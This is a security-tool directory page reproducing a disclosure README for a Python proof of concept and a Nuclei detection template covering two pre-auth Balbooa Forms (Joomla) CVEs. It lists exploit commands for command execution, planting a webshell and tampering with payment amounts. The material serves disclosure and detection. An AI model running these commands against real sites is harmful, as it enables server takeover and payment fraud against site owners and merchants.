Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-67363-67364 — PoC and detection templates for pre-auth RCE and payment tampering in Balbooa Forms (Joomla), including Python exploit and Nuclei detection template. | Kitploit
Tools/GitHubGitHub/lulztigre/cve-2026-67363-67364
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHublulztigre/cve-2026-67363-67364

cve-2026-67363-67364

PoC and detection templates for pre-auth RCE and payment tampering in Balbooa Forms (Joomla), including Python exploit and Nuclei detection template.

View Repository
620 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Balbooa Forms pre-auth RCE + Payment Tampering (CVE-2026-67364 / CVE-2026-67363)

PoC and detection templates for two pre-auth vulnerabilities in Balbooa Forms (com_baforms) for Joomla, fixed in 2.4.3.2.

  • CVE-2026-67364 — Pre-auth PHP Code Injection -> RCE (CVSS 9.8)
  • CVE-2026-67363 — Pre-auth Payment Amount Tampering (Stripe / Authorize.net)

Discovered by Lulztigre, coordinated disclosure via the Joomla Security Strike Team (JSST), published 2026-08-19. Full write-up: https://lulztigre.pw/posts/balbooa-forms-penny-rce-67363-67364.html

Files

FilePurpose
balbooa_forms_poc.pyPython PoC, stdlib-only, covers both CVEs
CVE-2026-67364.yamlNuclei template, non-destructive detection of the eval RCE

Python PoC

Zero dependencies (Python 3.8+). The rce and detect modes write no files and fire no real charges; shell and pay are opt-in and intended for lab use.

root@kitploit:~
# 1. Find a vulnerable (form-id, submit-btn) pair. Non-destructive: each probe is one
#    anonymous submission with an echo-marker payload.
python3 balbooa_forms_poc.py http://target detect --form-max 3 --btn-max 10

# 2. Prove command execution. Output returns in the HTTP response, no persistence.
python3 balbooa_forms_poc.py http://target rce --form 1 --btn 7 --cmd id

# 3. Classic webshell proof (lab only - writes images/shell.php)
python3 balbooa_forms_poc.py http://target shell --form 1 --btn 7

# 4. Payment amount tampering (lab only - fires REAL charge attempts; needs --authorize)
python3 balbooa_forms_poc.py http://target pay --authorize --total 0.01

Exit code 0 = vulnerable/exploited, 1 = clean or failed, 2 = usage error.

Notes:

  • The eval RCE needs the documented admin precondition: a submit button with a custom-PHP handler referencing [URL parameter = X], and no reCAPTCHA on the button.
  • --insecure skips TLS verification for HTTPS targets with self-signed certs.
  • Older Joomla builds may not require the CSRF token at all; the PoC continues without it when the token endpoint misbehaves.

Nuclei template

Detection only: extracts the anonymous CSRF token, then sweeps small form/btn ranges with an echo-marker payload and matches the marker in the response. No files written, no real charges fired.

root@kitploit:~
nuclei -t CVE-2026-67364.yaml -u http://target -v

Verified against nuclei v3.11.1 (Windows + Linux): token extraction, 30-pair sweep (form-id 1..3 x submit-btn 1..10, clusterbomb), 1 critical match on the vulnerable pair. Add -duc on offline boxes to skip the update check. The sweep is deliberately small; raise the payload ranges if a target hosts more forms. Payment tampering (CVE-2026-67363) is intentionally NOT automated in nuclei: each probe is a real charge attempt against the merchant's gateway.

Disclosure timeline

  • 2026-08-13: vendor notified (Balbooa, [email protected])
  • 2026-08-13: CVE request filed with JSST ([email protected])
  • 2026-08-19: both records published, fixed in 2.4.3.2 (Security Hardening Update)

Use only against systems you are authorized to test.

Download Tool